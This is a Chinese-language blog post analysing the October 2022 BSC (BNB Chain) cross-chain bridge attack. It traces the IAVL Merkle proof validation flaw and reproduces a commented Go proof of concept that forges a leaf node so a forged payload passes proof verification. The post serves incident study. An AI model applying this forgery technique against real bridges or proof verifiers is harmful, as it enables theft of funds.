# 邯郸学步小记--BSC 跨链攻击分析 **Published by:** [lgrok](https://paragraph.com/@lgrok/) **Published on:** 2022-10-14 **URL:** https://paragraph.com/@lgrok/bsc ## Content 废话2022年10月7号的早晨,国庆的尾巴,在安总的群里看到了BNB被攻击的信息。追了下攻击哈希,看到了除了正常的跨链发币,没有什么异常行为。怀疑是默克尔树验证的时候出了问题。一周过去了,跟着大佬们的节奏分析下攻击者的行为。身份信息攻击者地址:0x489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec 攻击hash:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b做了什么攻击者首先花费了100BNB注册成为bsc的relayer,交易hash: 0xe1fe5fef26e93e6389910545099303e4fee774427d9e628d2aab80f1b53396d6 然后构造一个payload,通过handlePackage方法完成攻击。调用栈技术分析刚进入handalPackage函数,首先检查了默克尔树的证明。 跟一下validateMerkleProof,通过合约内部的解析,整合参数调用预编译合约0x65 validateMerkleProof合约,预编译合约的默认入口为run方法。预编译0x65然后呢我们就需要去bsc 虚拟机的代码中,跟一下这个预编译合约的逻辑,可以看到0x65指向iavlMerkleProofValidate。// PrecompiledContractsIstanbul contains the default set of pre-compiled Ethereum // contracts used in the Istanbul release. var PrecompiledContractsIstanbul = map[common.Address]PrecompiledContract{ common.BytesToAddress([]byte{1}): &ecrecover{}, common.BytesToAddress([]byte{2}): &sha256hash{}, ... common.BytesToAddress([]byte{9}): &blake2F{}, common.BytesToAddress([]byte{100}): &tmHeaderValidate{}, common.BytesToAddress([]byte{101}): &iavlMerkleProofValidate{}, } 链上0x00000…0002000 会调用iavlMerkleProofValidate.Run方法,将解析传入参数,并调用kvmp.Validate方法,参数解析如下图payload// input: // | payload length | payload | // | 32 bytes | | func (c *iavlMerkleProofValidate) Run(input []byte) (result []byte, err error) { ...... kvmp, err := lightclient.DecodeKeyValueMerkleProof(input[precompileContractInputMetaDataLength:]) if err != nil { return nil, err } valid := kvmp.Validate() ...... } kvmp.Validate→prt.VerifyValue→prt.Verify的调用链,在prt.Verify中使用DecodeProof方法解析出payload的两个操作iavl:v、multistore。decode operater获取操作之后,会调用对应op的Verify方法也就是IAVLValueOp.Run和xxxxx.Run,两个op的逻辑基本一样,计算默克尔树的根hash,验证是否存在,然后调用VerifyItem验证了下节点。 问题出现在tendermint的IAVL+树的验证只需要通过LeftPath加上左叶子节点的hash计算出根节点的hash,右叶子节点的添加对整个默克尔树的验证不存在影响。 参照samczsun大佬的验证文档 https://gist.github.com/samczsun/8635f49fac0ec66a5a61080835cae3db//主函数修改了一些地方,应该更好理解一些,加一些国语备注,应该更好理解些 func main() { // samczsun大佬重新找的伪造块 https://bscscan.com/tx/0xe93f7c385e2510007f0b9319f001fed0fc1d718604fbab5c8afaa55fe0bfb624 //合法的payload legitPayloadBytes := mustDecode("0x00000000000000000000000000000000000000000000000000000e35fa931a0000f86ea0424e42000000000000000000000000000000000000000000000000000000000094000000000000000000000000000000000000000088018fb570626fa400942218ffe5fd6215aefb988c5130b109047ef903cc943cf604378ded77537f02ed2d082a609a0235864b84633f540c") //合法的证明 legitProofBytes := mustDecode("0x0af8090a066961766c3a76120e00000100380200000000010dda4d1add09db090ad8090a2f081910978cb90818a6b892810122206a972442231cdcbd083f53f5b6e7d1364d01a7c3e39481a393663421d9d91e730a2f081810c5cdba0518a6b89281012220015e9258171...08a9b8928101122065a9c4ae2bba63d233c7fc28d81151880b0a4533df8cbed77660356ae0aa7c5b") //伪造的payload forgedPayloadBytes := mustDecode("0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100") //伪造payload HASH forgedValueHash := tmhash.Sum(forgedPayloadBytes) //根据证明生成IAVL操作类 legitValueOp := getValueOp(legitProofBytes) forgedValueOp := getValueOp(legitProofBytes) // we do a little forging //伪造一个叶子节点 //首先复制一个叶子节点 forgedLeafNode := getValueOp(legitProofBytes).Proof.Leaves[0] //给伪造的叶子节点Key赋值 forgedLeafNode.Key = append([]byte(nil), []byte(forgedValueOp.GetKey())...) //修改伪造的叶子节点key的最后一位,理论上应该大于默克尔树的最后一个叶子节点,此处原作者赋值255,改为253也能通过验证 forgedLeafNode.Key[13] = 253 //伪造叶子节点的ValueHash赋值 forgedLeafNode.ValueHash = forgedValueHash //查看伪造叶子节点的hash fmt.Println(forgedLeafNode.Hash()) //将伪造的叶子节点添加到伪造树的叶子数组 forgedValueOp.Proof.Leaves = append(forgedValueOp.Proof.Leaves, forgedLeafNode) //InnerNodes 因为增加了新的右节点,所以需要在证明树中增加InnerNode nil forgedValueOp.Proof.InnerNodes = append(forgedValueOp.Proof.InnerNodes, iavl.PathToLeaf{}) //forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath)-1].Right = mustDecode("A038FCFB3DD5C419DF679CE76FDAB39D21149069D037C39034CEF55AFDB9631B") //将伪造的右节点hash插入到上层中间节点的Right中 forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath)-1].Right = forgedLeafNode.Hash() //开始验证过程并验证伪造节点是否能够通过验证。 rootHash := legitValueOp.Proof.ComputeRootHash() verifyErr := legitValueOp.Proof.Verify(rootHash) fmt.Printf("legitOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr) rootHash = forgedValueOp.Proof.ComputeRootHash() verifyErr = forgedValueOp.Proof.Verify(rootHash) fmt.Printf("forgedOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr) { verifyErr = legitValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes) fmt.Printf("legit verifyErr=%v\n", verifyErr) verifyErr = legitValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes) fmt.Printf("forged verifyErr=%v\n", verifyErr) } { verifyErr = forgedValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes) fmt.Printf("legit verifyErr=%v\n", verifyErr) verifyErr = forgedValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes) fmt.Printf("forged verifyErr=%v\n", verifyErr) } } 自己的思考知识盲区较多,理解环境吃力。这次分析涉及到的知识点比较多,有go基础语法和编译环境、预编译合约、bsc跨链原理、默克尔树的证明、IAVL+树操作。每一个知识点自己还是不太适应。需要学会像samczsun一样理解5%就能够做好分析的功力。相信5%也是来自长久的经验积累。参考https://gist.github.com/samczsun/8635f49fac0ec66a5a61080835cae3db 《区块链架构与实现:Cosmos详解》(温隆,贾音) ## Publication Information - [lgrok](https://paragraph.com/@lgrok/): Publication homepage - [All Posts](https://paragraph.com/@lgrok/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@lgrok): Subscribe to updates - [Twitter](https://twitter.com/LinGr0k): Follow on Twitter